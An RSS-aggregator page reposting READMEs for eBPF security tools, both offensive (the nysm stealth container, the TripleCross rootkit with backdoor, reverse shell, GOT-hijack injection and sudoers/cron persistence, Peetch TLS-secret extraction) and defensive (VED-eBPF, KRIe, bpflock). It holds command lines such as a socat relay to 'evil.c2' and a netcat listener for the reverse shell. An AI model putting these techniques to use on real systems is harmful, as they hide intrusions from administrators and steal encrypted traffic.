FreshRSS

πŸ”’
❌ Secure Planet Training Courses Updated For 2019 - Click Here
There are new available articles, click to refresh the page.
Before yesterdayYour RSS feeds

Nysm - A Stealth Post-Exploitation Container

By: Zion3R


A stealth post-exploitation container.

Introduction

With the raise in popularity of offensive tools based on eBPF, going from credential stealers to rootkits hiding their own PID, a question came to our mind: Would it be possible to make eBPF invisible in its own eyes? From there, we created nysm, an eBPF stealth container meant to make offensive tools fly under the radar of System Administrators, not only by hiding eBPF, but much more:

  • bpftool
  • bpflist-bpfcc
  • ps
  • top
  • sockstat
  • ss
  • rkhunter
  • chkrootkit
  • lsof
  • auditd
  • etc...

All these tools go blind to what goes through nysm. It hides:

  • New eBPF programs
  • New eBPF maps ️
  • New eBPF links ο”—
  • New Auditd generated logs ο“°
  • New PIDs οͺͺ
  • New sockets ο”Œ

Warning This tool is a simple demonstration of eBPF capabilities as such. It is not meant to be exhaustive. Nevertheless, pull requests are more than welcome.

Β 

Installation

Requirements

sudo apt install git make pkg-config libelf-dev clang llvm bpftool -y

Linux headers

cd ./nysm/src/
bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h

Build

cd ./nysm/src/
make

Usage

nysm is a simple program to run before the intended command:

Usage: nysm [OPTION...] COMMAND
Stealth eBPF container.

-d, --detach Run COMMAND in background
-r, --rm Self destruct after execution
-v, --verbose Produce verbose output
-h, --help Display this help
--usage Display a short usage message

Examples

Run a hidden bash:

./nysm bash

Run a hidden ssh and remove ./nysm:

./nysm -r ssh user@domain

Run a hidden socat as a daemon and remove ./nysm:

./nysm -dr socat TCP4-LISTEN:80 TCP4:evil.c2:443

How it works

In general

As eBPF cannot overwrite returned values or kernel addresses, our goal is to find the lowest level call interacting with a userspace address to overwrite its value and hide the desired objects.

To differentiate nysm events from the others, everything runs inside a seperated PID namespace.

Hide eBPF objects

bpftool has some features nysm wants to evade: bpftool prog list, bpftool map list and bpftool link list.

As any eBPF program, bpftool uses the bpf() system call, and more specifically with the BPF_PROG_GET_NEXT_ID, BPF_MAP_GET_NEXT_ID and BPF_LINK_GET_NEXT_ID commands. The result of these calls is stored in the userspace address pointed by the attr argument.

To overwrite uattr, a tracepoint is set on the bpf() entry to store the pointed address in a map. Once done, it waits for the bpf() exit tracepoint. When bpf() exists, nysm can read and write through the bpf_attr structure. After each BPF_*_GET_NEXT_ID, bpf_attr.start_id is replaced by bpf_attr.next_id.

In order to hide specific IDs, it checks bpf_attr.next_id and replaces it with the next ID that was not created in nysm.

Program, map, and link IDs are collected from security_bpf_prog(), security_bpf_map(), and bpf_link_prime().

Hide Auditd logs

Auditd receives its logs from recvfrom() which stores its messages in a buffer.

If the message received was generated by a nysm process through audit_log_end(), it replaces the message length in its nlmsghdr header by 0.

Hide PIDS

Hiding PIDs with eBPF is nothing new. nysm hides new alloc_pid() PIDs from getdents64() in /proc by changing the length of the previous record.

As getdents64() requires to loop through all its files, the eBPF instructions limit is easily reached. Therefore, nysm uses tail calls before reaching it.

Hide sockets

Hiding sockets is a big word. In fact, opened sockets are already hidden from many tools as they cannot find the process in /proc. Nevertheless, ss uses socket() with the NETLINK_SOCK_DIAG flag which returns all the currently opened sockets. After that, ss receives the result through recvmsg() in a message buffer and the returned value is the length of all these messages combined.

Here, the same method as for the PIDs is applied: the length of the previous message is modified to hide nysm sockets.

These are collected from the connect() and bind() calls.

Limitations

Even with the best effort, nysm still has some limitations.

  • Every tool that does not close their file descriptors will spot nysm processes created while they are open. For example, if ./nysm bash is running before top, the processes will not show up. But, if another process is created from that bash instance while top is still running, the new process will be spotted. The same problem occurs with sockets and tools like nethogs.

  • Kernel logs: dmesg and /var/log/kern.log, the message nysm[<PID>] is installing a program with bpf_probe_write_user helper that may corrupt user memory! will pop several times because of the eBPF verifier on nysm run.

  • Many traces written into files are left as hooking read() and write() would be too heavy (but still possible). For example /proc/net/tcp or /sys/kernel/debug/tracing/enabled_functions.

  • Hiding ss recvmsg can be challenging as a new socket can pop at the beginning of the buffer, and nysm cannot hide it with a preceding record (this does not apply to PIDs). A quick fix could be to switch place between the first one and the next legitimate socket, but what if a socket is in the buffer by itself? Therefore, nysm modifies the first socket information with hardcoded values.

  • Running bpf() with any kind of BPF_*_GET_NEXT_ID flag from a nysm child process should be avoided as it would hide every non-nysm eBPF objects.

Of course, many of these limitations must have their own solutions. Again, pull requests are more than welcome.



VED-eBPF - Kernel Exploit And Rootkit Detection Using eBPF

By: Zion3R


VED (Vault Exploit Defense)-eBPF leverages eBPF (extended Berkeley Packet Filter) to implement runtime kernel security monitoring and exploit detection for Linux systems.

Introduction

eBPF is an in-kernel virtual machine that allows code execution in the kernel without modifying the kernel source itself. eBPF programs can be attached to tracepoints, kprobes, and other kernel events to efficiently analyze execution and collect data.

VED-eBPF uses eBPF to trace security-sensitive kernel behaviors and detect anomalies that could indicate an exploit or rootkit. It provides two main detections:

  • wCFI (Control Flow Integrity) traces the kernel call stack to detect control flow hijacking attacks. It works by generating a bitmap of valid call sites and validating each return address matches a known callsite.

  • PSD (Privilege Escalation Detection) traces changes to credential structures in the kernel to detect unauthorized privilege escalations.


How it Works

VED-eBPF attaches eBPF programs to kernel functions to trace execution flows and extract security events. The eBPF programs submit these events via perf buffers to userspace for analysis.

wCFI

wCFI traces the call stack by attaching to functions specified on the command line. On each call, it dumps the stack, assigns a stack ID, and validates the return addresses against a precomputed bitmap of valid call sites generated from objdump and /proc/kallsyms.

If an invalid return address is detected, indicating a corrupted stack, it generates a wcfi_stack_event containing:

* Stack trace
* Stack ID
* Invalid return address

This security event is submitted via perf buffers to userspace.

The wCFI eBPF program also tracks changes to the stack pointer and kernel text region to keep validation up-to-date.

PSD

PSD traces credential structure modifications by attaching to functions like commit_creds and prepare_kernel_cred. On each call, it extracts information like:

* Current process credentials
* Hashes of credentials and user namespace
* Call stack

It compares credentials before and after the call to detect unauthorized changes. If an illegal privilege escalation is detected, it generates a psd_event containing the credential fields and submits it via perf buffers.

Prerequsites

VED-eBPF requires:

  • Linux kernel v5.17+ (tested on v5.17)
  • eBPF support enabled
  • BCC toolkit

Current Status

VED-eBPF is currently a proof-of-concept demonstrating the potential for eBPF-based kernel exploit and rootkit detection. Ongoing work includes:

  • Expanding attack coverage
  • Performance optimization
  • Additional kernel versions
  • Integration with security analytics

Conclusion

VED-eBPF shows the promise of eBPF for building efficient, low-overhead kernel security monitoring without kernel modification. By leveraging eBPF tracing and perf buffers, critical security events can be extracted in real-time and analyzed to identify emerging kernel threats for cloud native envionrment.



KRIe - Linux Kernel Runtime Integrity With eBPF


KRIe is a research project that aims to detect Linux Kernel exploits with eBPF. KRIe is far from being a bulletproof strategy: from eBPF related limitations to post exploitation detections that might rely on a compromised kernel to emit security events, it is clear that a motivated attacker will eventually be able to bypass it. That being said, the goal of the project is to make attackers' lives harder and ultimately prevent out-of-the-box exploits from working on a vulnerable kernel.

KRIe has been developed using CO-RE (Compile Once - Run Everywhere) so that it is compatible with a large range of kernel versions. If your kernel doesn't export its BTF debug information, KRIe will try to download it automatically from BTFHub. If your kernel isn't available on BTFHub, but you have been able to manually generate your kernel's BTF data, you can provide it in the configuration file (see below).


System requirements

This project was developed on Ubuntu Focal 20.04 (Linux Kernel 5.15) and has been tested on older releases down to Ubuntu Bionic 18.04 (Linux Kernel 4.15).

  • golang 1.18+
  • (optional) Kernel headers are expected to be installed in lib/modules/$(uname -r), update the Makefile with their location otherwise.
  • (optional) clang & llvm 14.0.6+

Optional fields are required to recompile the eBPF programs.

Build

  1. Since KRIe was built using CORE, you shouldn't need to rebuild the eBPF programs. That said, if you want still want to rebuild the eBPF programs, you can use the following command:
# ~ make build-ebpf
  1. To build KRIE, run:
# ~ make build
  1. To install KRIE (copy to /usr/bin/krie) run:
# ~ make install

Getting started

KRIe needs to run as root. Run sudo krie -h to get help.

# ~ krie -h
Usage:
krie [flags]

Flags:
--config string KRIe config file (default "./cmd/krie/run/config/default_config.yaml")
-h, --help help for krie

Configuration

## Log level, options are: panic, fatal, error, warn, info, debug or trace
log_level: debug

## JSON output file, leave empty to disable JSON output.
output: "/tmp/krie.json"

## BTF information for the current kernel in .tar.xz format (required only if KRIE isn't able to locate it by itself)
vmlinux: ""

## events configuration
events:
## action taken when an init_module event is detected
init_module: log

## action taken when an delete_module event is detected
delete_module: log

## action taken when a bpf event is detected
bpf: log

## action taken when a bpf_filter event is detected
bpf_filter: log

## action taken when a ptrace event is detected
ptrace: log

## action taken when a kprobe event is detected
kprobe: log

## action taken when a sysctl event is detected
sysctl:
action: log

## Default settings for sysctl programs (kernel 5.2+ only)
sysctl_default:
block_read_access: false
block_write_access: false

## Custom settings for sysctl programs (kernel 5.2+ only)
sysctl_parameters:
kernel/yama/ptrace_scope:
block_write_access: true
kernel/ftrace_enabled:
override_input_value_with: "1\n"

## action taken when a hooked_syscall_table event is detected
hooked_syscall_table: log

## action taken when a hooked_syscall event is detected
hooked_syscall: log

## kernel_parameter event configuration
kernel_parameter:
action: log
periodic_action: log
ticker: 1 # sends at most one event every [ticker] second(s)
list:
- symbol: system/kprobes_all_disarmed
expected_value: 0
size: 4
# - symbol: system/selinux_state
# expecte d_value: 256
# size: 2

# sysctl
- symbol: system/ftrace_dump_on_oops
expected_value: 0
size: 4
- symbol: system/kptr_restrict
expected_value: 0
size: 4
- symbol: system/randomize_va_space
expected_value: 2
size: 4
- symbol: system/stack_tracer_enabled
expected_value: 0
size: 4
- symbol: system/unprivileged_userns_clone
expected_value: 0
size: 4
- symbol: system/unprivileged_userns_apparmor_policy
expected_value: 1
size: 4
- symbol: system/sysctl_unprivileged_bpf_disabled
expected_value: 1
size: 4
- symbol: system/ptrace_scope
expected_value: 2
size: 4
- symbol: system/sysctl_perf_event_paranoid
expected_value: 2
size: 4
- symbol: system/kexe c_load_disabled
expected_value: 1
size: 4
- symbol: system/dmesg_restrict
expected_value: 1
size: 4
- symbol: system/modules_disabled
expected_value: 0
size: 4
- symbol: system/ftrace_enabled
expected_value: 1
size: 4
- symbol: system/ftrace_disabled
expected_value: 0
size: 4
- symbol: system/sysctl_protected_fifos
expected_value: 1
size: 4
- symbol: system/sysctl_protected_hardlinks
expected_value: 1
size: 4
- symbol: system/sysctl_protected_regular
expected_value: 2
size: 4
- symbol: system/sysctl_protected_symlinks
expected_value: 1
size: 4
- symbol: system/sysctl_unprivileged_userfaultfd
expected_value: 0
size: 4

## action to check when a regis ter_check fails on a sensitive kernel space hook point
register_check: log

Documentation

License

  • The golang code is under Apache 2.0 License.
  • The eBPF programs are under the GPL v2 License.


TripleCross - A Linux eBPF Rootkit With A Backdoor, C2, Library Injection, Execution Hijacking, Persistence And Stealth Capabilities.


TripleCross is a Linux eBPF rootkit that demonstrates the offensive capabilities of the eBPF technology.

TripleCross is inspired by previous implant designs in this area, notably the works of Jeff Dileo at DEFCON 271, Pat Hogan at DEFCON 292, Guillaume Fournier and Sylvain Afchain also at DEFCON 293, and Kris NΓ³va's Boopkit4. We reuse and extend some of the techniques pioneered by these previous explorations of the offensive capabilities of eBPF technology.

This rootkit was created for my Bachelor's Thesis at UC3M. More details about its design are provided in the thesis document.

Disclaimer

This rookit is purely for educational and academic purposes. The software is provided "as is" and the authors are not responsible for any damage or mishaps that may occur during its use.

Do not attempt to use TripleCross to violate the law. Misuse of the provided software and information may result in criminal charges.


Features

  1. A library injection module to execute malicious code by writing at a process' virtual memory.
  2. An execution hijacking module that modifies data passed to the kernel to execute malicious programs.
  3. A local privilege escalation module that allows for running malicious programs with root privileges.
  4. A backdoor with C2 capabilities that can monitor the network and execute commands sent from a remote rootkit client. It incorporates multiple activation triggers so that these actions are transmitted stealthily.
  5. A rootkit client that allows an attacker to establish 3 different types of shell-like connections to send commands and actions that control the rootkit state remotely.
  6. A persistence module that ensures the rootkit remains installed maintaining full privileges even after a reboot event.
  7. A stealth module that hides rootkit-related files and directories from the user.

TripleCross overview

The following figure shows the architecture of TripleCross and its modules.

The raw sockets library RawTCP_Lib used for rootkit transmissions is of my authorship and has its own repository.

The following table describes the main source code files and directories to ease its navigation:

DIRECTORY COMMAND
docs Original thesis document
src/client Source code of the rootkit client
src/client/lib RawTCP_Lib shared library
src/common Constants and configuration for the rootkit. It also includes the implementation of elements common to the eBPF and user space side of the rootkit, such as the ring buffer
src/ebpf Source code of the eBPF programs used by the rootkit
src/helpers Includes programs for testing the functionality of several rootkit modules, and also the malicious program and library used at the execution hijacking and library injection modules, respectively
src/libbpf Contains the libbpf library integrated with the rootkit
src/user Source code of the userland programs used by the rootkits
src/vmlinux Headers containing the definition of kernel data structures (this is the recommended method when using libbpf)

Build and Install

Requirements

This research project has been tested under the following environments:

DISTRIBUTION KERNEL GCC CLANG GLIBC
VERSION Ubuntu 21.04 5.11.0 10.3.0 12.0.0 2.33

We recommend using Ubuntu 21.04, which by default will incorporate the software versions shown here. Otherwise, some of the problems you may run into are described here.

Compilation

The rootkit source code is compiled using two Makefiles.

# Build rootkit
cd src
make all
# Build rootkit client
cd client
make

The following table describes the purpose of each Makefile in detail:

MAKEFILE COMMAND DESCRIPTION RESULTING FILES
src/client/Makefile make Compilation of the rootkit client src/client/injector
src/Makefile make help Compilation of programs for testing rootkit capabilities, and the malicious program and library of the execution hijacking and library injection modules, respectively src/helpers/simple_timer, src/helpers/simple_open, src/helpers/simple_execve, src/helpers/lib_injection.so, src/helpers/execve_hijack
src/Makefile make kit Compilation of the rootkit using the libbpf library src/bin/kit
src/Makefile make tckit Compilation of the rootkit TC egress program src/bin/tc.o

Installation

Once the rootkit files are generated under src/bin/, the tc.o and kit programs must be loaded in order. In the following example, the rootkit backdoor will operate in the network interface enp0s3:

// TC egress program
sudo tc qdisc add dev enp0s3 clsact
sudo tc filter add dev enp0s3 egress bpf direct-action obj bin/tc.o sec classifier/egress
// Libbpf-powered rootkit
sudo ./bin/kit -t enp0s3

Attack scenario scripts

There are two scripts, packager.sh and deployer.sh, that compile and install the rootkit automatically, just as an attacker would do in a real attack scenario.

  • Executing packager.sh will generate all rootkit files under the apps/ directory.

  • Executing deployer.sh will install the rootkit and create the persistence files.

These scripts must first be configured with the following parameters for the proper functioning of the persistence module:

SCRIPT CONSTANT DESCRIPTION
src/helpers/deployer.sh CRON_PERSIST Cron job to execute after reboot
src/helpers/deployer.sh SUDO_PERSIST Sudo entry to grant password-less privileges

Library injection module

The rootkit can hijack the execution of processes that call the sys_timerfd_settime or sys_openat system calls. This is achieved by overwriting the Global Offset Table (GOT) section at the virtual memory of the process making the call. This leads to a malicious library (src/helpers/injection_lib.c) being executed. The library will spawn a reverse shell to the attacker machine, and then returns the flow of execution to the original function without crashing the process.

TripleCross is prepared to bypass common ELF hardening techniques, including:

  • ASLR
  • Stack canaries
  • DEP/NX
  • PIE
  • Full RELRO

It is also prepared to work with Intel CET-compatible code.

The module functionality can be checked using two test programs src/helpers/simple_timer.c and src/helpers/simple_open.c. Alternatively you may attempt to hijack any system process (tested and working with systemd).

The module configuration is set via the following constants:

FILENAME CONSTANT DESCRIPTION
src/common/constants.h TASK_COMM_NAME_INJECTION_
TARGET_TIMERFD_SETTIME
Name of the process to hijack at syscall sys_timerfd_settime
src/common/constants.h TASK_COMM_NAME_INJECTION_
TARGET_OPEN
Name of the process to hijack at syscall sys_openat
src/helpers/injection_lib.c ATTACKER_IP & ATTACKER_PORT IP address and port of the attacker machine

Receiving a reverse shell from the attacker machine can be done with netcat:

nc -nlvp <ATTACKER_PORT>

Library injection via GOT hijacking technique

The technique incorporated in TripleCross consists of 5 stages:

Locating GOT and the return address

The rootkit hooks the system call using a tracepoint program. From there, it locates the address at the GOT section which the PLT stub used to make the call to the glibc function responsible of the syscall.

In order to reach the GOT section, the eBPF program uses the return address stored at the stack. Note that:

  • The .text makes a call to the .plt, so rip is saved as ret in the stack.
  • The .plt makes a jump to glibc using .got, so no other rip is saved. It also does not modify or save the value of rbp.
  • Glibc makes a syscall, which does not save rip in the stack, but rather saves it in rcx.

Therefore in order to check from eBPF that an address in the stack is the return address that will lead us to the correct GOT, we must check that it is the return address of the PLT stub that uses the GOT address that jumps to the glibc function making the system call we hooked from eBPF.

Two techniques for finding the return address have been incorporated:

  • With sys_timerfd_settime, the eBPF program scans forward in the scan using the syscall arguments.
  • With sys_openat, the eBPF program scans uses the data at tracepoints' pt_regs struct for scanning the return address.

Locating key functions for shellcode

The shellcode must be generated dynamically to bypass ASLR and PIE, which change the address of functions such as dlopen() on each program execution.

Injecting shellcode in a code cave

A code cave can be found by reverse engineering an ELF if ASLR and PIE are off, but usually that is not the case. The eBPF program issues a request to an user space rootkit program that uses the /proc filesystem to locate and write into a code cave at the .text (executable) section.

Overwriting the GOT section

Depending on whether Partial or Full RELRO are active on the executable, the eBPF program overwrites the GOT section directly or with the /proc filesystem.

Waiting for the next system call

When the next syscall is issued in the hijacked program, the PLT section uses the modified GOT section, hijacking the flow of execution which gets redirected to the shellcode at the code cave. The shellcode is prepared to keep the program from crashing, and calls the malicious library (src/helpers/lib_injection.so). This library issues a fork() and spawns a reverse shell with the attacker machine. Afterwards the flow of execution is restored.

Backdoor and C2

The backdoor works out of the box without any configuration needed. The backdoor can be controlled remotely using the rootkit client program:

CLIENT ARGUMENTS ACTION DESCRIPTION
./injector -c <Victim IP> Spawns a plaintext pseudo-shell by using the execution hijacking module
./injector -e <Victim IP> Spawns an encrypted pseudo-shell by commanding the backdoor with a pattern-based trigger
./injector -s <Victim IP> Spawns an encrypted pseudo-shell by commanding the backdoor with a multi-packet trigger (of both types)
./injector -p <Victim IP> Spawns a phantom shell by commanding the backdoor with a pattern-based trigger
./injector -a <Victim IP> Orders the rootkit to activate all eBPF programs
./injector -u <Victim IP> Orders the rootkit to detach all of its eBPF programs
./injector -S <Victim IP> Showcases how the backdoor can hide a message from the kernel (Simple PoC)
./injector -h Displays help

Backdoor triggers

Actions are sent to the backdoor using backdoor triggers, which indicate the backdoor the action to execute depending on the value of the attribute K3:

K3 VALUE ACTION
0x1F29 Request to start an encrypted pseudo-shell connection
0x4E14 Request to start a phantom shell connection
0x1D25 Request to load and attach all rootkit eBPF programs
0x1D24 Request to detach all rootkit eBPF programs (except the backdoor’s)

Pattern-based trigger

This trigger hides the command and client information so that it can be recognized by the backdoor, but at the same time seems random enough for an external network supervisor. It is based on the trigger used by the recently discovered NSA rootkit Bvp47.

Multi-packet trigger

This trigger consists of multiple TCP packets on which the backdoor payload is hidden in the packet headers. This design is based on the CIA Hive implant described in the Vault 7 leak. The following payload is used:

A rolling XOR is then computed over the above payload and it is divided into multiple parts, depending on the mode selected by the rootkit client. TripleCross supports payloads hidden on the TCP sequence number:

And on the TCP source port:

Backdoor pseudo-shells

The client can establish rootkit pseudo-shells, a special rootkit-to-rootkit client connection which simulates a shell program, enabling the attacker to execute Linux commands remotely and get the results as if it was executing them directly in the infected machine. Multiple pseudo-shells are incorporated in our rootkit:

Plaintext pseudo-shell

This shell is generated after a successful run of the execution hijacking module, which will execute a malicious file that establishes a connection with the rootkit client as follows:

Encrypted pseudo-shell

An encrypted pseudo-shell can be requested by the rootkit client at any time, consisting of a TLS connection between the rootkit and the rootkit client. Inside the encrypted connection, a transmission protocol is followed to communicate commands and information, similar to that in plaintext pseudo-shells.

Spawning an encrypted pseudo-shell requires the backdoor to listen for triggers, which accepts either pattern-based triggers or both types of multi-packet trigger:

Phantom shell

A phantom shell uses a combination of XDP and TC programs to overcome eBPF limitations at the network, specifically that it cannot generate new packets. For this, the backdoor modifies existing traffic, overwriting the payload with the data of the C2 transmission. The original packets are not lost since TCP retransmissions send the original packet (without modifications) again after a short time.

The following protocol illustrates the traffic during the execution of a command using a phantom shell:

A phantom shell is requested by the rootkit client which issues a command to be executed by the backdoor:

After the infected machine sends any TCP packet, the backdoor overwrites it and the client shows the response:

Execution hijacking module

In principle, an eBPF program cannot start the execution of a program by itself. This module shows how a malicious rootkit may take advantage of benign programs in order to execute malicious code at the user space. This module achieves two goals:

  • Execute a malicious user program taking advantage of other program's execution.
  • Be transparent to the user space, that is, if we hijack the execution of a program so that another is run, the original program should be executed too with the least delay.

This module works by hijacking the sys_execve() syscall, modifying its arguments so that a malicious program (src/helpers/execve_hijack.c) is run instead. This modification is made in such a way that the malicious program can then execute the original program with the original arguments to avoid raising concerns in the user space. The following diagram summarizes the overall functionality:

The arguments of the original sys_execve() call are modified in such a way that the original arguments are not lost (using argv[0]) so that the original program can be executed after the malicious one:

We have incorporated a sample test program (src/helpers/simple_execve.c) for testing the execution hijacking module. The module can also hijack any call in the system, depending on the configuration:

FILENAME CONSTANT DESCRIPTION
src/common/constants.h PATH_EXECUTION_HIJACK_PROGRAM Location of the malicious program to be executed upon succeeding to execute a sys_execve call
src/common/constants.h EXEC_HIJACK_ACTIVE Deactivate (0) or activate (1) the execution hijacking module
src/common/constants.h TASK_COMM_RESTRICT_HIJACK_ACTIVE Hijack any sys_execve call (0) or only those indicated in TASK_COMM_NAME_RESTRICT_HIJACK (1)
src/common/constants.h TASK_COMM_NAME_RESTRICT_HIJACK Name of the program from which to hijack sys_execve calls

After a successful hijack, the module will stop itself. The malicious program execve_hijack will listen for requests of a plaintext pseudo-shell from the rootkit client.

Rootkit persistence

After the infected machine is rebooted, all eBPF programs will be unloaded from the kernel and the userland rootkit program will be killed. Moreover, even if the rootkit could be run again automatically, it would no longer enjoy the root privileges needed for attaching the eBPF programs again. The rootkit persistence module aims to tackle these two challenges:

  • Execute the rootkit automatically and without user interaction after a machine reboot event.
  • Once the rootkit has acquired root privileges the first time it is executed in the machine, it must keep them even after a reboot.

TripleCross uses two secret files, created under cron.d and sudoers.d, to implement this functionality. These entries ensure that the rootkit is loaded automatically and with full privilege after a reboot. These files are created and managed by the deployer.sh script:

The script contains two constants that must be configured for the user to infect on the target system:

SCRIPT CONSTANT DESCRIPTION
src/helpers/deployer.sh CRON_PERSIST Cron job to execute after reboot
src/helpers/deployer.sh SUDO_PERSIST Sudo entry to grant password-less privileges

Rootkit stealth

The persistence module is based on creating additional files, but they may get eventually found by the system owner or by some software tool, so there exists a risk on leaving them in the system. Additionally, the rootkit files will need to be stored at some location, in which they may get discovered.

Taking the above into account, the stealth module provides the following functionality:

  • Hide a directory completely from the user (so that we can hide all rootkit files inside).
  • Hide specific files in a directory (we need to hide the persistence files, but we cannot hide the sudoers.d or cron.d directories completely, since they belong to the normal system functioning).

The files and directories hidden by the rootkit can be customized by the following configuration constants:

FILENAME CONSTANT DESCRIPTION
src/common/constants.h SECRET_DIRECTORY_NAME_HIDE Name of directory to hide
src/common/constants.h SECRET_FILE_PERSISTENCE_NAME Name of the file to hide

By default, TripleCross will hide any files called "ebpfbackdoor" and a directory named "SECRETDIR". This module is activated automatically after the rootkit installation.

The technique used for achieving this functionality consists of tampering with the arguments of the sys_getdents() system call:

License

The TripleCross rootkit and the rootkit client are licensed under the GPLv3 license. See LICENSE.

The RawTCP_Lib library is licensed under the MIT license.

The original thesis document and included figures are released under Creative Commons BY-NC-ND 4.0.

Footnotes

  1. J. Dileo. Evil eBPF: Practical Abuses of an In-Kernel Bytecode Runtime. DEFCON 27. slides

  2. P. Hogan. Warping Reality: Creating and Countering the Next Generation of Linux Rootkits using eBPF. DEFCON 27. presentation

  3. G. Fournier and S. Afchain. eBPF, I thought we were friends! DEFCON 29. slides

  4. Kris NΓ³va. Boopkit. github



Peetch - An eBPF Playground


peetch is a collection of tools aimed at experimenting with different aspects of eBPF to bypass TLS protocol protections.

Currently, peetch includes two subcommands. The first called dump aims to sniff network traffic by associating information about the source process with each packet. The second called tls allows to identify processes using OpenSSL to extract cryptographic keys.

Combined, these two commands make it possible to decrypt TLS exchanges recorded in the PCAPng format.


Installation

peetch relies on several dependencies including non-merged modifications of bcc and Scapy. A Docker image can be easily built in order to easily test peetch using the following command:

docker build -t quarkslab/peetch .

Commands Walk Through

The following examples assume that you used the following command to enter the Docker image and launch examples within it:

docker run --privileged --network host --mount type=bind,source=/sys,target=/sys --mount type=bind,source=/proc,target=/proc --rm -it quarkslab/peetch

dump

This sub-command gives you the ability to sniff packets using an eBPF TC classifier and to retrieve the corresponding PID and process names with:

peetch dump
curl/1289291 - Ether / IP / TCP 10.211.55.10:53052 > 208.97.177.124:https S / Padding
curl/1289291 - Ether / IP / TCP 208.97.177.124:https > 10.211.55.10:53052 SA / Padding
curl/1289291 - Ether / IP / TCP 10.211.55.10:53052 > 208.97.177.124:https A / Padding
curl/1289291 - Ether / IP / TCP 10.211.55.10:53052 > 208.97.177.124:https PA / Raw / Padding
curl/1289291 - Ether / IP / TCP 208.97.177.124:https > 10.211.55.10:53052 A / Padding

Note that for demonstration purposes, dump will only capture IPv4 based TCP segments.

For convenience, the captured packets can be store to PCAPng along with process information using --write:

peetch dump --write peetch.pcapng
^C

This PCAPng can easily be manipulated with Wireshark or Scapy:

scapy
>>> l = rdpcap("peetch.pcapng")
>>> l[0]
<Ether dst=00:1c:42:00:00:18 src=00:1c:42:54:f3:34 type=IPv4 |<IP version=4 ihl=5 tos=0x0 len=60 id=11088 flags=DF frag=0 ttl=64 proto=tcp chksum=0x4bb1 src=10.211.55.10 dst=208.97.177.124 |<TCP sport=53054 dport=https seq=631406526 ack=0 dataofs=10 reserved=0 flags=S window=64240 chksum=0xc3e9 urgptr=0 options=[('MSS', 1460), ('SAckOK', b''), ('Timestamp', (1272423534, 0)), ('NOP', None), ('WScale', 7)] |<Padding load='\x00\x00' |>>>>
>>> l[0].comment
b'curl/1289909'

tls

This sub-command aims at identifying process that uses OpenSSl and makes it is to dump several things like plaintext and secrets.

By default, peetch tls will only display one line per process, the --directions argument makes it possible to display the exchanges messages:

peetch tls --directions
<- curl (1291078) 208.97.177.124/443 TLS1.2 ECDHE-RSA-AES128-GCM-SHA256
> curl (1291078) 208.97.177.124/443 TLS1.-1 ECDHE-RSA-AES128-GCM-SHA256

Displaying OpenSSL buffer content is achieved with --content.

peetch tls --content
<- curl (1290608) 208.97.177.124/443 TLS1.2 ECDHE-RSA-AES128-GCM-SHA256

0000 47 45 54 20 2F 20 48 54 54 50 2F 31 2E 31 0D 0A GET / HTTP/1.1..
0010 48 6F 73 74 3A 20 77 77 77 2E 70 65 72 64 75 2E Host: www.perdu.
0020 63 6F 6D 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A com..User-Agent:
0030 20 63 75 72 6C 2F 37 2E 36 38 2E 30 0D 0A 41 63 curl/7.68.0..Ac

-> curl (1290608) 208.97.177.124/443 TLS1.-1 ECDHE-RSA-AES128-GCM-SHA256

0000 48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D HTTP/1.1 200 OK.
0010 0A 44 61 74 65 3A 20 54 68 75 2C 20 31 39 20 4D .Date: Thu, 19 M
0020 61 79 20 32 30 32 32 20 31 38 3A 31 36 3A 30 31 ay 2022 18:16:01
0030 20 47 4D 54 0D 0A 53 65 72 76 65 72 3A 20 41 70 GMT..Server: Ap

The --secrets arguments will display TLS Master Secrets extracted from memory. The following example leverages --write to write master secrets to discuss to simplify decruypting TLS messages with Scapy:

$ (sleep 5; curl https://www.perdu.com/?name=highly%20secret%20information --tls-max 1.2 -http1.1) &

# peetch tls --write &
curl (1293232) 208.97.177.124/443 TLS1.2 ECDHE-RSA-AES128-GCM-SHA256

# peetch dump --write traffic.pcapng
^C

# Add the master secret to a PCAPng file
$ editcap --inject-secrets tls,1293232-master_secret.log traffic.pcapng traffic-ms.pcapng

$ scapy
>>> load_layer("tls")
>>> conf.tls_session_enable = True
>>> l = rdpcap("traffic-ms.pcapng")
>>> l[13][TLS].msg
[<TLSApplicationData data='GET /?name=highly%20secret%20information HTTP/1.1\r\nHost: www.perdu.com\r\nUser-Agent: curl/7.68.0\r\nAccept: */*\r\n\r\n' |>]

Limitations

By design, peetch only supports OpenSSL and TLS 1.2.



Bpflock - eBPF Driven Security For Locking And Auditing Linux Machines


bpflock - eBPF driven security for locking and auditing Linux machines.

Note: bpflock is currently in experimental stage, it may break, options and security semantics may change, some BPF programs will be updated to use Cilium ebpf library.


1. Introduction

bpflock uses eBPF to strength Linux security. By restricting access to a various range of Linux features, bpflock is able to reduce the attack surface and block some well known attack techniques.

Only programs like container managers, systemd and other containers/programs that run in the host pid and network namespaces are allowed access to full Linux features, containers and applications that run on their own namespace will be restricted. If bpflock bpf programs run under the restricted profile then all programs/containers including privileged ones will have their access denied.

bpflock protects Linux machines by taking advantage of multiple security features including Linux Security Modules + BPF.

Architecture and Security design notes:

  • bpflock is not a mandatory access control labeling solution, and it does not intent to replace AppArmor, SELinux, and other MAC solutions. bpflock uses a simple declarative security profile.
  • bpflock offers multiple small bpf programs that can be reused in multiple contexts from Cloud Native deployments to Linux IoT devices.
  • bpflock is able to restrict root from accessing certain Linux features, however it does not protect against evil root.

2. Functionality Overview

2.1 Security features

bpflock offer multiple security protections that can be classified as:

2.2 Semantics

bpflock keeps the security semantics simple. It support three global profiles to broadly cover the security sepctrum, and restrict access to specific Linux features.

  • profile: this is the global profile that can be applied per bpf program, it takes one of the followings:

    • allow|none|privileged : they are the same, they define the least secure profile. In this profile access is logged and allowed for all processes. Useful to log security events.
    • baseline : restrictive profile where access is denied for all processes, except privileged applications and containers that run in the host namespaces, or per cgroup allowed profiles in the bpflock_cgroupmap bpf map.
    • restricted : heavily restricted profile where access is denied for all processes.
  • Allowed or blocked operations/commands:

    Under the allow|privileged or baseline profiles, a list of allowed or blocked commands can be specified and will be applied.

    • --protection-allow : comma-separated list of allowed operations. Valid under baseline profile, this is useful for applications that are too specific and perform privileged operations. It will reduce the use of the allow | privileged profile, so instead of using the privileged profile, we can specify the baseline one and add a set of allowed commands to offer a case-by-case definition for such applications.
